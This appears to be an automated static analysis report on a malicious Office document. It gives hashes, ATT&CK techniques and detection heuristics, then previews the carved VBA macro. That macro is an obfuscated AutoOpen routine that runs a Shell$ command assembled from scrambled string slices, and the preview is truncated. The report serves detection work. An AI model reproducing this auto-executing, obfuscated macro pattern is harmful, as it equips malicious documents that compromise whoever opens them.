Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4bf3811abdc9fc3…

MALICIOUS

Office (OLE)

134.6 KB First seen: 2017-11-20
MD5: 91ff01f52c6cb3280242f2ac83565de5 SHA-1: c916a659af85b2206bb0aadb802ce0cab44f8d60 SHA-256: d4bf3811abdc9fc35ce67eea50a61ee6bc06bbb1af8121c633bd2a79d080c00a
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that calls the Shell() function. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The presence of the 'Doc.Macro.Obfuscation' ClamAV signature further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40384 bytes
SHA-256: ffe799e87097b9ac10b845587d354ac6c8a405ccaee4f0f4dfe27bce082dc681
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 44 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iiHuVVrpO"
Sub AutoOpen()
LhPCnDXEK = "jDsXXriWq" + "EcZhduNfr" + "OAqJKhVoW" + "NUkHDorcq"
Shell$ rpTrLDmSc, 0
fAqLFaKWo = "HdDVoHMID" + "TZsKBjUUC" + "FzZlpBEhf" + "ADvQwntOK"
End Sub
Function rpTrLDmSc()
QhhjODzhS = "zwdRwwqd1iqbbVdzaiWNjiBYIUzCHcWnCkzVVsPLwfozzONInIRijDLjHIIjSsfNlDYrXIbhPKOEuDauHoPwLrGwYONNkitGzbMupVlfjjPWpHpDhOYddjBuwaSJuOzjQIESrjElDjScckIRYJjVKQcTZSzODbkRliGhCWMBJnZtOZRMRBklibWzfltZipiczFHRsQT1Rdi5Y"
PcwOHlT = Mid(QhhjODzhS, 11, 183)
aSWEVRzHw = Array(32, 93, 87, 85)
kGrFYpBOk = Array(84, 27, 31, 30)
SjzpoqjAcES = Array(37, 72, 22, 22)
NhioCULLcis = "XwpDNPvSbtG3TiYNqJn6VKMGYjaRbfkkuvVThPzTVjhrzPwZMPMmoofrQStinBnScfzsTBstzVDpdVHJnAEMSwvGQiCOWSfUsPOTSDFLWTpSkpO5r"
PZvTrZLY = Mid(NhioCULLcis, 21, 91)
AYdvhilc = Array(35, 23, 15, 28)
IaCcvXd = Array(99, 76, 29, 73)
qjMGOnoo = Array(50, 33, 24, 12)
CSXPbdiV = "A6OXvTHwji5QMFDGNILjuMzEkkNWaXMtzCoLRpKbrWhPIpbvtmTcokmWZUNnwqRujutPpspXwjpXiiwuJScoEjFMQSlwcWdBFniNwMFAzviEvOrrYSdfNdqzpjzXGsvbGoSrhtSRmGk1Ndahz5D8v1Mrz8"
CjYCbXNlD = Mid(CSXPbdiV, 15, 118)
sQvwCG = Array(44, 70, 89, 13)
vJNpOlZwi = Array(21, 84, 36, 87)
RrqwDwk = Array(41, 68, 89, 21)
MQoUKfTMjpS = "m39JOzCRaChsZOlHJiqfPTXnFUhwQtUdzfznYSrOjTZzNlKQIWYliiFsKURSRDBhhDtuRzjrrbvwtZaTKQqtVjuQaEcLj9wZqLX9"
wvDfqbzzhwN = Mid(MQoUKfTMjpS, 6, 86)
ouiovwNmT = Array(18, 97, 31, 37)
FRFmwnAwNtC = Array(13, 21, 65, 37)
usrSPR = Array(10, 64, 39, 71)
GjnUfdRVfwC = "B4XHBTqOsR8C0EGvLkrnwbzijqcpwdXiqjzOHnqku3W2Nzb9SBc"
rLntB = Mid(GjnUfdRVfwC, 16, 26)
jhZBQOio = Array(15, 28, 98, 15)
fzJLA = Array(70, 85, 74, 46)
bwzYbFF = Array(24, 78, 43, 28)
VZVadPBNir = "jmuVZiwbfAqudbOCzfMWqiEAAlzBqzjJLGBQdmSTEzuNiWiqninDPzIwjsYwshlAQjiXZzYLMsStoqRdqjlj0h"
hXLqB = Mid(VZVadPBNir, 10, 71)
nDrhwqOiRo = Array(29, 64, 71, 31)
SjHVFTSt = Array(92, 32, 50, 24)
iEJDDuuntO = Array(49, 71, 22, 94)
akDcwiUMIiK = "0fAV9rFztpzJcWaQGDmbsXRPjkbaQMtvKcAszoXtGsCm5hZA9bDd"
JhmsifIwKFS = Mid(akDcwiUMIiK, 9, 36)
SiXENT = Array(29, 24, 47, 23)
iSnjMIwaM = Array(74, 45, 41, 89)
XZttzniVp = Array(28, 37, 28, 37)
FbDapzotdpV = "L72tTiA2sA0MvsFM8viinqwY4vPTp0hFpBMkjdnHhDTDFTbQHvTRoTPPjQndiqrGUmuvzzwzfMXkdrvujjMXcQQWmzEQqKcqMNjTYfQIwVmcviloUtuudTdEVYNbHipWdHv"
jbjXWSS = Mid(FbDapzotdpV, 31, 92)
fWwutDOviC = Array(72, 68, 93, 16)
cQnRh = Array(49, 84, 12, 99)
jUFWBlzp = Array(77, 38, 70, 62)
ilwFIVS = "z84FnHDj9h0hBiW0"
HLzddXiCOC = Mid(ilwFIVS, 10, 1)
WdmKJwipm = Array(36, 52, 45, 57)
WDDmU = Array(95, 76, 74, 36)
wfEXQQBGPo = Array(84, 81, 86, 56)
zkkNUHsYPjq = "6KiE9BqFvwzzDYMSXpWJNIpiKHOZRHYwrznXKfjMQCYOQArArXaXYkOPWCOqsQnnXAFFloIrIKtLjaSKQOhthAaHjXBHRqTzPlrPvlPDPiPNqCjvkDZiitFWazVNmBaSquvzjCPiziizlMQjrGWNQpQVfUozPBQOHzXwHiLhnuiEPGkOjoWjiNBBdZSONSOzNPropUZJupZkXsaEnWHuMnVp0q751wKWKDmjb2"
cGwkMMjU = Mid(zkkNUHsYPjq, 7, 197)
PLUhBqIv = Array(65, 22, 29, 84)
rNjOjiVP = Array(27, 42, 67, 84)
ncIumU = Array(46, 43, 68, 53)
ABufRlKK = "0LMi5wF9nbJCufHUjhYQIcVDTEYGdoaHLPwzQiNsjizzWNNSORtOGVjrXrbYuWajwCqijJEATfjdiWjFrGsMuMBqjFaZGpzMERBUXijEMsuaoCMAKVhoiNllAzuijftihTZNVMiIWn914N5j1J"
LvzJGjrW = Mid(ABufRlKK, 11, 128)
fHurmtlduVf = Array(98, 79, 33, 62)
cAMAOdYlRrb = Array(26, 36, 11, 89)
GhSaEJNKV = Array(79, 83, 82, 64)
OXrdA = "ib5twlKVOTiCLTJzVGUBYrZlDzLjwXDPJihvEzAViQSjtUAViPNdGZrUTKGfpMBQTdzOVqvWGzSIZtsjwqBiKaIjmMctsUjWOBMPXmAoUqWHGjuZSWizLTGtUNbINBdmSwtYhcMKpMOTEBdDRDbWlhLvvTuJKsbSMjoKpWrpKYJwFmpTjYqKaHAllwdOiCzzlvGUMTOvLmLMXMqIdaZunYNfz21n"
BhwXouSIrk = Mid(OXrdA, 16, 196)
AhPYKZjP = Array(19, 17, 48, 62)
iKvFj = Array(43, 98, 59, 87)
nlqvtznuND = Array(19, 30, 39, 20)
XhEmwlir = "InqziwzMbrIEBRBatYKtznbwlYPMitEADwHwAspUfTllitoPzwNTkiIAquOKjkdinIBCKFaBjqNiCqOskAPmjkPVqGGFifkvpDwZrlEsWMkuVdzAjVZjVrBCsfMDzUXEFSo9r2DbzouYzRFR2vOQJ0XIz0kl3"
XQMQWWmhjB = Mid(XhEmwlir, 4, 128)
wiDMzi
... (truncated)

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